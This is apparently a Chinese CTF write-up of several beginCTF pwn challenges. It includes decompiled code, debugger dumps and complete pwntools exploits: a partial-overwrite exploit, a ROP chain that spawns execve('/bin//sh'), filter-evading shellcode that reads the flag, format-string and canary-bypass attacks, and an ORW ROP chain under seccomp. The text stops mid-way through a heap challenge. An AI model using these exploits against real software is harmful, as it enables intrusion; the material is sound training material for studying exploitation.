one_byte

检查保护,开了地址随机化,没开canary

1
2
3
4
5
6
[*] '/home/starrysky/beginctf/one_byte/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

查看程序,发现可以溢出一字节,也对应了题目的one-byte,程序会打开flag文件并且输出一字节,要读出flag必然需要printf,所以覆盖返回地址低位到printf处即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[8]; // [rsp+7h] [rbp-9h] BYREF
char buf; // [rsp+Fh] [rbp-1h] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to beginctf!");
open("flag", 0);
read(3, &buf, 1uLL);
printf("Here is your gift: %c\n", (unsigned int)buf);
puts("Are you satisfied with the result?");
read(0, v4, 0x12uLL);
return 0;
}

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('101.32.220.189',31141)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

flag = ''

for i in range(80):
r.recvuntil('Here is your gift: ')
flag += r.recv(1).decode()
r.sendafter(b'with the result?', b'a' * 0x11 + b'\x6d')

li(flag)

r.interactive()

gift_rop

打开程序,发现是静态编译的c,所以可以通过ropgadget直接获取ropchain,指令

1
ROPgadget --binary  ./pwn --ropchain

执行指令之后会返回很多gadget地址以及一段现成的ropchain,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall

这段ropchain是控制返回地址之后执行的内容,由于python语法格式,要把p +=前面的多余空格去掉,这段代码发过去会报错,因为最后一段重复执行add rax,1,长度太长了,所以就需要从返回的gadget中找到可替代的gadget,格式就是将gadget地址放在Q后面。execve的系统调用号在64位中是59,所以最后一段的目的就是把rax加到59,但是返回的gadget太多,可以用grep筛选一下

1
ROPgadget --binary  ./pwn --ropchain | grep 'rax'

找到以下两条gadget,用这两条代替add rax, 1凑到59

1
2
0x0000000000471267 : add rax, 2 ; ret
0x0000000000471280 : add rax, 3 ; ret

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('101.32.220.189', 32151)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

'''
bin_sh = 0x4C50F0
pop_rdi_ret = 0x0000000000401f2f
p = p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
'''

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471267) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall

r.sendlineafter(b'This is a fake(real) checkin problem.', b'a' * 0x28 + p)

r.interactive()

由于程序中有close

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
puts((__int64)"Welcome to beginCTF!");
puts((__int64)"This is a fake(real) checkin problem.");
read(0LL, v4, 512LL);
close(1LL);
close(2LL);
return 0;
}

所以getshell以后还需要重定向标准输出,输入exec 1>&0即可

exec

  1. 代替shell执行命令,区别是shell执行完之后会回到shell,而exec会直接退出。
  2. 文件重定向,也就是exec 1>&0这样将文件描述符为1的文件重定向到0

标准输出(close(1))和标准错误(close(2)),有shell但获得不了输出,可以通过exec 1>&0重定向

unhappy

这题就是写shellcode,但是shellcode里不能含有HAPYhapy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+10h] [rbp-10h]

addr = mmap((void *)0xFFF00000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
perror("mmap failed");
return 1;
}
else
{
read(0, addr, 0x100uLL);
check(addr);
((void (*)(void))addr)();
if ( munmap(addr, 0x1000uLL) == -1 )
{
perror("munmap failed");
return 1;
}
else
{
return 0;
}
}
}
__int64 __fastcall check(__int64 a1)
{
__int64 result; // rax
char v2; // [rsp+1Bh] [rbp-5h]
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 255; ++i )
{
result = *(unsigned __int8 *)(i + a1);
v2 = *(_BYTE *)(i + a1);
if ( v2 == 'h' || v2 == 'a' || v2 == 'p' || v2 == 'y' || v2 == 'H' || v2 == 'A' || v2 == 'P' || v2 == 'Y' )
exit(-1);
}
return result;
}

推荐一个网站https://shell-storm.org/online/Online-Assembler-and-Disassembler/

要在限制下写的话可以利用subadd去凑出要实现的代码,比如add rdi,0x61,可以写成add rdi, 0x60 add rdi,0x1,但是这题有一个简便的方法就是输入shellcode来执行read,通过syscall调用的read就没有了check的限制,但是第二次输入需要先sleep停顿一下

先试着用execve(’/bin/sh’, 0,0)getshell

1
2
3
4
5
6
7
8
9
10
add edi, 0x30
mov dword ptr [edi], 0x6e69622f
add edi, 0x4
mov dword ptr [edi], 0x58732f2f
add dword ptr [edi], 0x10000000
sub edi,0x4
mov esi, 0
mov edx, 0
mov eax,59
syscall

打到远程会发现没有cat flag的权限,但是unhappyrws权限,也就是执行unhappyroot权限,所以把shellcode改成orw即可,直接write会报错,这里也学习到了一个知识点:

ssize_t sendfile(int out_fd,int in_fd,off_t* offset,size_t count); sendfile函数在两个文件描述符之间直接传递数据(完全在内核中操作),从而避免了内核缓冲区和用户缓冲区之间的数据拷贝,效率很高,这被称为零拷贝

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('101.32.220.189',31276)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

shellcode = asm(shellcraft.read(0, 'rsi', 0x300))
r.sendline(shellcode)
shellcode = b'\x90' * len(shellcode) + asm(shellcraft.open('./flag', 'O_RDWR', 0))
shellcode += asm(shellcraft.sendfile(1,3,0,0x50))
sleep(10)
r.sendline(shellcode)

r.interactive()

ezpwn

test command不能用catsh(官方wp指出test command对指令过滤不严,也可以利用test command),test filename不能输入flagteat data功能是输入一个index,向数组该index处输入一个字符,而程序中有shell函数,所以调试一下计算返回地址到该数组之间的距离作为index,把返回地址地位改成shell函数低位即可,需要注意的是输入格式,行末要加回车不然会覆盖成回车

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 main_loop()
{
...
case 1:
puts("Please input index.");
__isoc99_scanf("%d", &v2);
puts("please input value");
v1 = getchar();
getchar();
s[v2] = v1;
break;
...
}

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('101.32.220.189', 31180)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

gift = 0x1849

r.sendlineafter(b'Input your choice.', b'1\n')
r.sendlineafter(b'Please input index.', str(0x228) + '\n')
r.sendlineafter(b'please input value', b'\x51')
r.sendlineafter(b'Input your choice.', b'4')

r.interactive()

no_money

格式化字符串,但是禁用$,一般用$定位,本题中也学到一个知识点:’%p’ * n + ‘%hn’ = ‘%n$hn’,利用这一点,先泄露程序基址加上shell地址最后改返回地址低位为shell地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('101.32.220.189', 31645)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

r.sendlineafter(b'Your payload:', b'%p-%p-%p-%p-%p-%p')

for i in range(6):
r.recvuntil(b'0x')
code = int(r.recv(12), 16) - 0x40
target = 0x404C + code

p = b'%255c' + b'%p' * 16 + b'%hhn'
p = p.ljust(0x40, b'a') + p64(target) * 0x60
r.sendlineafter(b'payload:', p)

r.interactive()

cat

开了canary但是没开pie

1
2
3
4
5
6
7
checksec pwn        
[*] '/home/starrysky/beginctf/cat/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序中有后门函数,main中向bss段两个变量输入数据,vul中向栈中输入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("read:");
read(0, read1, 0x100uLL);
puts("read:");
read(0, read2, 0x100uLL);
vul(read1, read2);
return 0;
}

unsigned __int64 __fastcall vul(const char *read1, const char *read2)
{
__int64 read3[2]; // [rsp+10h] [rbp-40h] BYREF
char dest[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h]
char v6[8]; // [rsp+30h] [rbp-20h] BYREF
__int64 v7; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
read3[0] = 0LL;
read3[1] = 0LL;
*(_QWORD *)dest = 0LL;
v5 = 0LL;
*(_QWORD *)v6 = 0LL;
v7 = 0LL;
puts("read:");
read(0, read3, 0x100uLL);
strcat(dest, read1);
strcpy(v6, read2);
return v8 - __readfsqword(0x28u);
}

重点就是绕过canary,这里学到一个知识点:strcat会从第一个\x00开始拼接,strcpy会在末尾写\x00,查看栈中数据

1
2
3
4
5
6
7
8
9
10
11
pwndbg> stack
00:0000│ rsp 0x7fffffffde00 —▸ 0x4041a0 (cx) ◂— 0xa616161 /* 'aaa\n' */
01:0008│ 0x7fffffffde08 —▸ 0x4040a0 (bx) ◂— 0xa616161 /* 'aaa\n' */
02:0010│ 0x7fffffffde10 ◂— 0xa616161 /* 'aaa\n' */
03:0018│ 0x7fffffffde18 ◂— 0x0
... ↓ 4 skipped
pwndbg>
08:0040│ 0x7fffffffde40 —▸ 0x7fffffffdf78 —▸ 0x7fffffffe311 ◂— '/home/starrysky/beginctf/cat/pwn'
09:0048│ 0x7fffffffde48 ◂— 0x40934e0df3212f00
0a:0050│ rbp 0x7fffffffde50 —▸ 0x7fffffffde60 ◂— 0x1
0b:0058│ 0x7fffffffde58 —▸ 0x401381 (main+183) ◂— mov eax, 0

利用:read3覆盖掉dest到canary末尾的\x00strcat拼接会从canary之后开始拼接,最后利用strcpycanary末尾恢复成\x00

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('101.32.220.189', 30188)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

cat = 0x4011FE
r.sendafter(b'read:', b'a' * 2 + p64(cat))
r.sendafter(b'read:', b'B' * 0x18)
r.sendafter(b'read:', b'C' * 0x39)

r.interactive()

aladdin

非常…痛苦的一题,本地和远程的偏移竟然不一样…用不了oggbss段上的chance=4,只能利用三次,所以这三次要先把chance改掉

1
2
3
4
5
6
7
8
9
10
11
12
13
while ( --chance )
{
printf("your %d wish:\n", (unsigned int)chance);
memset(wish, 0, sizeof(wish));
read(0, wish, 0x100uLL);
if ( strstr(wish, "one more wish") )
{
puts("no way!");
break;
}
printf(wish);
}
printf("The wonderful lamp is broken");

查看栈结构,利用这几个地址来泄露一些需要的值:code_base、stack、libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> stack
00:0000│ rsp 0x7fffffffdd80 ◂— 0x7ffff7fc0005
01:00080x7fffffffdd88 —▸ 0x7fffffffdd90 ◂— 0x20 /* ' ' */
02:00100x7fffffffdd90 ◂— 0x20 /* ' ' */
03:00180x7fffffffdd98 ◂— 0x3b00010015
04:00200x7fffffffdda0 ◂— 0x10035 /* '5' */
05:00280x7fffffffdda8 ◂— 0x5000000000006
06:00300x7fffffffddb0 ◂— 0x7fff000000000006
07:00380x7fffffffddb8 ◂— 0x163fe5f2dcc3a00
pwndbg>
08:0040│ rbp 0x7fffffffddc0 ◂— 0x1
09:00480x7fffffffddc8 —▸ 0x7ffff7dbcd90 ◂— mov edi, eax
0a:00500x7fffffffddd0 ◂— 0x0
0b:00580x7fffffffddd8 —▸ 0x555555555229 (main) ◂— endbr64
0c:00600x7fffffffdde0 ◂— 0x1ffffdec0
0d:00680x7fffffffdde8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
0e:00700x7fffffffddf0 ◂— 0x0
0f:00780x7fffffffddf8 ◂— 0xa251b96a3bc40170
pwndbg>
10:00800x7fffffffde00 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
11:00880x7fffffffde08 —▸ 0x555555555229 (main) ◂— endbr64
12:00900x7fffffffde10 —▸ 0x555555557d88 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551e0 (__do_global_dtors_aux) ◂— endbr64
13:00980x7fffffffde18 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
14:00a0│ 0x7fffffffde20 ◂— 0x5dae469580660170
15:00a8│ 0x7fffffffde28 ◂— 0x5dae56dda14e0170
16:00b0│ 0x7fffffffde30 ◂— 0x7fff00000000
17:00b8│ 0x7fffffffde38 ◂— 0x0
pwndbg>
18:00c0│ 0x7fffffffde40 ◂— 0x0
... ↓ 2 skipped
1b:00d8│ 0x7fffffffde58 ◂— 0x163fe5f2dcc3a00
1c:00e00x7fffffffde60 ◂— 0x0
1d:00e80x7fffffffde68 —▸ 0x7ffff7dbce40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1ef159]
1e:00f0│ 0x7fffffffde70 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe28f ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
1f:00f8│ 0x7fffffffde78 —▸ 0x555555557d88 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551e0 (__do_global_dtors_aux) ◂— endbr64
pwndbg> fmtarg 0x7fffffffddd8
The index of format argument : 17 ("\%16$p")
pwndbg> fmtarg 0x7fffffffde00
The index of format argument : 22 ("\%21$p")
pwndbg> fmtarg 0x7fffffffde68
The index of format argument : 35 ("\%34$p")

输入的wishbss段的,也就是非栈上的格式化字符串,需要用栈作为跳板去改其他地方的数据,本题的利用思路就是第一次输入用于泄露地址,第二次输入用来设置跳板,第三次输入用来改printf返回地址到val中的输入,继续输入改chance值,但也不能改太大,用到的链如下

1
2
3
4
5
6
7
0x7fffffffdde8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
0x7fffffffde70 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe28f ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'

pwndbg> fmtarg 0x7fffffffdde8
The index of format argument : 19 ("\%18$p")
pwndbg> fmtarg 0x7fffffffde70
The index of format argument : 36 ("\%35$p")

修改成功后就可以无限利用fmt,但这题有沙箱,只能orw

1
2
3
4
5
6
7
8
aladdin  seccomp-tools dump ./pwn                 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x35 0x01 0x00 0x00000000 if (A >= 0x0) goto 0004
0003: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW

但是把栈直接改orw比较麻烦,所以可以在返回地址先构造read,然后用readrop链实现orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('101.32.220.189', 30879)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def pay(target, value):
tar = target & 0xffff
for i in range(3):
val = value & 0xffff
value = value >> 16
p = '%' + str(tar) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(val) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)
tar += 0x2

p = b'%17$p%22$p%35$p'
r.sendafter(b'wish:', p)

r.recvuntil(b'0x')
code = int(r.recv(12), 16) - 0x1229

r.recvuntil(b'0x')
stack = int(r.recv(12), 16)

r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x29e40
libc = ELF('./2.35/libc.so.6')

target = (stack - 0x160) & 0xffff
target1 = (stack - 0xd0) & 0xffff

if target1 > target:
p = '%' + str(target) + 'c%19$hn' + '%' + str(target1 - target) + 'c%36$hn'
else:
p = '%' + str(target) + 'c%19$hn' + '%' + str(0x10000 + target1 - target) + 'c%36$hn'
r.sendafter(b'wish:', p)

addr = (0x137F + code) & 0xffff
chance = (0x4010 + code) & 0xffff

if chance > addr:
p = '%' + str(addr) + 'c%49$hn' + '%' + str(chance - addr) + 'c%52$hn'
else:
p = '%' + str(addr) + 'c%49$hn' + '%' + str(0x10000 + chance - addr) + 'c%52$hn'
sleep(1)
r.sendafter(b'wish:', p)

p = '%' + str(0x30) + 'c%23$hn'
sleep(1)
r.sendline(p)

pop_rdi_ret = 0x000000000002a3e5 + libc_base
pop_rsi_ret = 0x000000000002be51 + libc_base
pop_rdx_ret = 0x00000000000796a2 + libc_base

stack -= 0x10
ret = stack - 0x110 + 0x38 + 0x10
read = libc.sym['read'] + libc_base

pay(stack - 0x100, pop_rdi_ret)
pay(stack - 0x100 + 0x10, pop_rsi_ret)
pay(stack - 0x100 + 0x18, ret)
pay(stack - 0x100 + 0x20, pop_rdx_ret)
pay(stack - 0x100 + 0x28, 0x300)
pay(stack - 0x100 + 0x30, read)

p = '%' + str((stack - 0x100 + 0x30 + 6) & 0xffff) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(0x0) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str((stack - 0x100 + 0x30 + 5) & 0xffff) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(0x7f) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)

for i in range(7):
r.sendafter(b'wish:', b'a')

open_addr = libc.sym['open'] + libc_base
write_addr = libc.sym['write'] + libc_base
pop_rax_ret = 0x0000000000045eb0 + libc_base
syscall = 0x0000000000029db4 + libc_base
orw_rop_addr = stack - 0x100 + 0x18 + 0x10

orw_rop = p64(pop_rdi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
orw_rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rdx_ret) + p64(0x100) + p64(read)
orw_rop += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)
orw_rop += b'flag'.ljust(0x10,b'\x00')
r.sendafter(b'broken', orw_rop)

r.interactive()

zeheap

存在uaf漏洞,但是editshow受到mark的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &index);
if ( index <= 0xF )
{
free(heap_ptr[index]);
mark[index] = 0;
}
return __readfsqword(0x28u) ^ v2;
